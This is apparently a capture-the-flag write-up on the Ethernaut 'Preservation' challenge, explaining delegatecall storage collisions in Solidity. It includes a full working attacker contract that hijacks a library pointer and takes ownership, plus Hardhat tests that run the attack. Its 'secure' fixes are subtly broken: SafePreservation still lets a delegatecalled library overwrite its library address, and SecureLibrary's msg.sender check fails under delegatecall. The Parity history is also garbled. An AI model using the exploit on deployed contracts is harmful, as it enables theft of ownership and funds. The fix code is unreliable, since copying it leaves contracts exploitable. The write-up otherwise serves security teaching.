Skip to content
On this page

Exploiting delegatecall in Solidity: A Deep Dive into the Ethernaut "Preservation" Challenge

Introduction

The Ethereum blockchain has revolutionized decentralized applications through smart contracts, but with this power comes significant security considerations. One of the most subtle and dangerous vulnerabilities in Solidity smart contracts involves the improper use of low-level functions, particularly delegatecall. This article provides a comprehensive analysis of the Ethernaut "Preservation" challenge, demonstrating how a seemingly innocent library delegation pattern can lead to complete contract compromise.

Understanding the Challenge

Problem Overview

The Preservation challenge presents a contract that uses library contracts to store timestamps for different time zones. At first glance, it appears to be a straightforward implementation of code reuse through libraries. However, the contract contains a critical vulnerability that allows an attacker to claim ownership by exploiting how delegatecall interacts with storage layout.

The contract's stated purpose is simple: maintain two different time storage instances for different time zones using library contracts. The implementation uses delegatecall to execute library functions while preserving the calling contract's context. This design decision, while seemingly efficient, introduces a fatal flaw.

Key Components

The challenge consists of two main contracts:

  1. Preservation.sol: The main contract that users interact with
  2. LibraryContract.sol: A simple library for storing timestamps

The vulnerability stems from the interaction between these contracts and how delegatecall manipulates storage when the calling and called contracts have different storage layouts.

Technical Background

The delegatecall Operation

delegatecall is a low-level function in Solidity that executes code from another contract while preserving the context (storage, balance, address) of the calling contract. Unlike a regular external call, delegatecall doesn't switch execution context but instead runs the called contract's code within the current contract's environment.

solidity
// Basic delegatecall syntax
(bool success, ) = targetAddress.delegatecall(abi.encodeWithSignature("functionName(uint256)", parameter));

The critical characteristic of delegatecall is context preservation:

  • The msg.sender and msg.value remain unchanged
  • Storage modifications affect the calling contract's storage, not the called contract's
  • The code executed is from the called contract, but the storage accessed is from the calling contract

Storage Layout in Solidity

Solidity stores state variables in storage slots sequentially, starting from slot 0. Each storage slot is 32 bytes (256 bits). The storage layout is determined at compile time and is crucial for understanding how delegatecall can be exploited.

solidity
contract Example {
    address public var1;      // Slot 0
    uint256 public var2;      // Slot 1
    uint128 public var3;      // Slot 2 (first 16 bytes)
    uint128 public var4;      // Slot 2 (last 16 bytes)
}

When using delegatecall, the called contract's code accesses storage slots based on its own layout definition, but these slots reference the calling contract's storage. If the storage layouts don't match exactly, unintended storage slots can be modified.

Analyzing the Vulnerable Contract

Preservation Contract Structure

Let's examine the Preservation contract's storage layout:

solidity
contract Preservation {
    // public library contracts
    address public timeZone1Library;    // Slot 0
    address public timeZone2Library;    // Slot 1
    address public owner;               // Slot 2
    uint256 storedTime;                 // Slot 3
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
    // ... rest of the contract
}

The contract has four state variables occupying slots 0 through 3. The setTimeSignature constant is not stored in storage but in the contract's bytecode.

Library Contract Structure

The LibraryContract has a different storage layout:

solidity
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;  // Slot 0

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

This is where the vulnerability becomes apparent. When Preservation calls LibraryContract.setTime() via delegatecall, the library code attempts to write to its slot 0, which corresponds to Preservation's slot 0 (timeZone1Library).

The Delegatecall Execution

When setFirstTime is called:

solidity
function setFirstTime(uint256 _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
  1. The function makes a delegatecall to timeZone1Library
  2. The library's setTime function executes in the context of Preservation
  3. The library code writes _timeStamp to its slot 0
  4. Since this is a delegatecall, this actually writes to Preservation's slot 0
  5. Preservation.timeZone1Library is overwritten with _timeStamp

The Exploit Strategy

Attack Vector

The vulnerability allows us to:

  1. Overwrite timeZone1Library with an attacker-controlled address
  2. Make subsequent calls to the attacker's contract
  3. Use the attacker's setTime function to overwrite the owner variable

Step-by-Step Attack Process

Step 1: Deploy Attacker Contract The attacker needs to deploy a contract with a compatible setTime function that will modify the owner variable when called via delegatecall.

Step 2: Overwrite Library Pointer Call setFirstTime with the attacker's contract address (cast to uint256). This overwrites timeZone1Library.

Step 3: Take Ownership Call setFirstTime again, which now delegates to the attacker's contract. The attacker's setTime function writes to slot 2 (the owner slot).

Attacker Contract Implementation

Here's the complete attacker contract with detailed explanations:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Interface for interacting with the target contract
interface IPreservation {
    function setFirstTime(uint256) external;
    function owner() external view returns (address);
}

contract Hack {
    // Matching storage layout with Preservation contract
    // This is CRITICAL for the attack to work correctly
    address public timeZone1Library;  // Slot 0
    address public timeZone2Library;  // Slot 1
    address public owner;             // Slot 2
    
    // Immutable reference to the target contract
    IPreservation private immutable target;

    constructor(address _target) {
        target = IPreservation(_target);
    }

    function attack() external {
        // Step 1: Overwrite timeZone1Library with attacker contract address
        // We need to convert address to uint256 for the parameter
        target.setFirstTime(uint256(uint160(address(this))));
        
        // Step 2: Now that timeZone1Library points to this contract,
        // calling setFirstTime will execute this contract's setTime function
        // We pass the new owner address (msg.sender) as uint256
        target.setFirstTime(uint256(uint160(address(msg.sender))));
        
        // Verify the attack was successful
        require(target.owner() == msg.sender, "Claim ownership fail!");
    }

    // This function must match the signature expected by Preservation
    // When called via delegatecall, it will write to slot 2 of the calling contract
    function setTime(uint256 _time) public {
        // Convert the uint256 parameter back to address and assign to owner
        // This writes to slot 2 (owner) in the Preservation contract
        owner = address(uint160(_time));
    }
}

Detailed Attack Explanation

First Call: target.setFirstTime(uint256(uint160(address(this))))

  • address(this) is the attacker contract's address
  • uint160() converts address to 160-bit integer
  • uint256() extends to 256 bits for the function parameter
  • Preservation calls delegatecall to the current timeZone1Library (original library)
  • The library's setTime writes the attacker's address to slot 0
  • timeZone1Library now points to the attacker's contract

Second Call: target.setFirstTime(uint256(uint160(address(msg.sender))))

  • Preservation calls delegatecall to the new timeZone1Library (attacker's contract)
  • Attacker's setTime function executes
  • The function writes msg.sender (attacker's EOA) to slot 2
  • Slot 2 in Preservation is the owner variable
  • The attacker now owns the contract

Testing the Exploit

Hardhat Test Implementation

Here's a comprehensive test suite that demonstrates the attack:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { LibraryContract, Preservation, Hack } from "../typechain-types";

describe("Preservation Exploit", function () {
  let preservation: Preservation;
  let library1: LibraryContract;
  let library2: LibraryContract;
  let hack: Hack;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  beforeEach(async function () {
    // Get signers
    [owner, attacker] = await ethers.getSigners();

    // Deploy library contracts
    const LibraryFactory = await ethers.getContractFactory("LibraryContract");
    library1 = await LibraryFactory.deploy();
    library2 = await LibraryFactory.deploy();
    await library1.deployed();
    await library2.deployed();

    // Deploy Preservation contract
    const PreservationFactory = await ethers.getContractFactory("Preservation");
    preservation = await PreservationFactory.deploy(
      library1.address,
      library2.address
    );
    await preservation.deployed();

    // Verify initial state
    expect(await preservation.owner()).to.equal(owner.address);
    expect(await preservation.timeZone1Library()).to.equal(library1.address);
    expect(await preservation.timeZone2Library()).to.equal(library2.address);
  });

  describe("Storage Layout Analysis", function () {
    it("should show matching storage slots", async function () {
      // Check Preservation storage layout
      const slot0 = await ethers.provider.getStorageAt(preservation.address, 0);
      const slot1 = await ethers.provider.getStorageAt(preservation.address, 1);
      const slot2 = await ethers.provider.getStorageAt(preservation.address, 2);
      
      console.log("Preservation Slot 0 (timeZone1Library):", slot0);
      console.log("Preservation Slot 1 (timeZone2Library):", slot1);
      console.log("Preservation Slot 2 (owner):", slot2);
    });
  });

  describe("The Exploit", function () {
    it("should allow attacker to claim ownership", async function () {
      // Deploy attacker contract
      const HackFactory = await ethers.getContractFactory("Hack");
      hack = await HackFactory.connect(attacker).deploy(preservation.address);
      await hack.deployed();

      // Execute attack
      const attackTx = await hack.connect(attacker).attack();
      await attackTx.wait();

      // Verify attack success
      const newOwner = await preservation.owner();
      expect(newOwner).to.equal(attacker.address);
      
      // Verify library pointer was changed
      const newLibrary = await preservation.timeZone1Library();
      expect(newLibrary).to.equal(hack.address);
    });

    it("should demonstrate step-by-step exploitation", async function () {
      // Step 1: Attacker deploys malicious contract
      const HackFactory = await ethers.getContractFactory("Hack");
      hack = await HackFactory.connect(attacker).deploy(preservation.address);
      await hack.deployed();

      // Check initial state
      console.log("Initial owner:", await preservation.owner());
      console.log("Initial timeZone1Library:", await preservation.timeZone1Library());

      // Step 2: First call to overwrite library pointer
      const firstCallTx = await preservation.connect(attacker).setFirstTime(
        ethers.BigNumber.from(hack.address)
      );
      await firstCallTx.wait();

      console.log("After first call - timeZone1Library:", await preservation.timeZone1Library());

      // Step 3: Second call to change owner
      const secondCallTx = await preservation.connect(attacker).setFirstTime(
        ethers.BigNumber.from(attacker.address)
      );
      await secondCallTx.wait();

      console.log("Final owner:", await preservation.owner());
      
      // Verify final state
      expect(await preservation.owner()).to.equal(attacker.address);
      expect(await preservation.timeZone1Library()).to.equal(hack.address);
    });
  });

  describe("Security Analysis", function () {
    it("should demonstrate safe alternative implementation", async function () {
      // This test shows how to fix the vulnerability
      const SafePreservationFactory = await ethers.getContractFactory("SafePreservation");
      const safePreservation = await SafePreservationFactory.deploy(
        library1.address,
        library2.address
      );
      await safePreservation.deployed();

      // Attempt attack on safe version should fail
      const HackFactory = await ethers.getContractFactory("Hack");
      const hackAttempt = await HackFactory.connect(attacker).deploy(safePreservation.address);
      await hackAttempt.deployed();

      try {
        await hackAttempt.connect(attacker).attack();
        expect.fail("Attack should have failed on safe contract");
      } catch (error: any) {
        expect(error.message).to.include("revert");
      }
    });
  });
});

Prevention and Best Practices

Secure Implementation Patterns

1. Use Library Contracts with Care When using libraries with delegatecall, ensure identical storage layouts or use stateless libraries.

2. Safe Preservation Contract Implementation Here's a secure version of the Preservation contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SafePreservation {
    struct TimeZone {
        address libraryAddress;
        uint256 storedTime;
    }
    
    TimeZone public timeZone1;
    TimeZone public timeZone2;
    address public owner;
    
    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1.libraryAddress = _timeZone1LibraryAddress;
        timeZone2.libraryAddress = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // Safe implementation using structs to prevent storage collision
    function setFirstTime(uint256 _timeStamp) public {
        (bool success, ) = timeZone1.libraryAddress.delegatecall(
            abi.encodeWithSignature("setTime(uint256)", _timeStamp)
        );
        require(success, "Delegatecall failed");
        
        // Update stored time in our struct
        timeZone1.storedTime = _timeStamp;
    }

    function setSecondTime(uint256 _timeStamp) public {
        (bool success, ) = timeZone2.libraryAddress.delegatecall(
            abi.encodeWithSignature("setTime(uint256)", _timeStamp)
        );
        require(success, "Delegatecall failed");
        
        timeZone2.storedTime = _timeStamp;
    }
}

// Stateless library - much safer approach
contract SafeLibraryContract {
    // No storage variables - completely stateless
    function setTime(uint256 _time) public pure returns (uint256) {
        // Just return the time, don't store it
        return _time;
    }
}

3. Additional Security Measures

solidity
// Security-enhanced library pattern
contract SecureLibrary {
    // Use function modifiers to prevent misuse
    modifier onlyCompatibleContract() {
        // Check that caller has compatible storage layout
        require(msg.sender == compatibleContract, "Incompatible contract");
        _;
    }
    
    address private immutable compatibleContract;
    
    constructor(address _compatibleContract) {
        compatibleContract = _compatibleContract;
    }
    
    function setTime(uint256 _time) public onlyCompatibleContract {
        // Implementation
    }
}

Key Security Principles

  1. Storage Layout Consistency: Always ensure calling and called contracts have identical storage layouts when using delegatecall.

  2. Immutable Library Pointers: Consider making library addresses immutable after deployment.

  3. Access Controls: Implement proper access controls for critical functions.

  4. Input Validation: Validate all inputs, especially when they affect storage layout.

  5. Use Interfaces: Define clear interfaces for library contracts.

Real-World Implications

Historical Incidents

The delegatecall vulnerability pattern has been exploited in several high-profile incidents:

  1. Parity Wallet Hack (2017): A similar vulnerability led to the loss of $30 million worth of ETH when an attacker became the owner of a library contract and self-destructed it.

  2. Various DeFi Exploits: Multiple decentralized finance protocols have suffered from storage collision attacks.

Industry Impact

Understanding these vulnerabilities is crucial for:

  • Smart contract auditors
  • Blockchain developers
  • Security researchers
  • Protocol designers

Conclusion

The Preservation challenge demonstrates a classic yet dangerous vulnerability in Solidity smart contracts. The improper use of delegatecall without considering storage layout can lead to complete contract compromise. This exploit highlights several critical lessons:

  1. Context Preservation is Powerful but Dangerous: delegatecall preserves context, which can lead to unintended storage modifications if not handled correctly.

  2. Storage Layout is Critical: Compile-time storage layout decisions have runtime security implications.

  3. Defense in Depth: Multiple security layers are necessary for robust smart contract development.

  4. Testing is Essential: Comprehensive testing, including edge cases and attack scenarios, should be part of every smart contract development lifecycle.

As blockchain technology evolves, understanding these fundamental security concepts becomes increasingly important. Developers must balance functionality with security, always considering how each design decision might be exploited by malicious actors.

The Preservation challenge serves as an excellent educational tool, teaching developers about the intricacies of Ethereum's execution model while emphasizing the importance of secure coding practices in the decentralized world.

Built with AiAda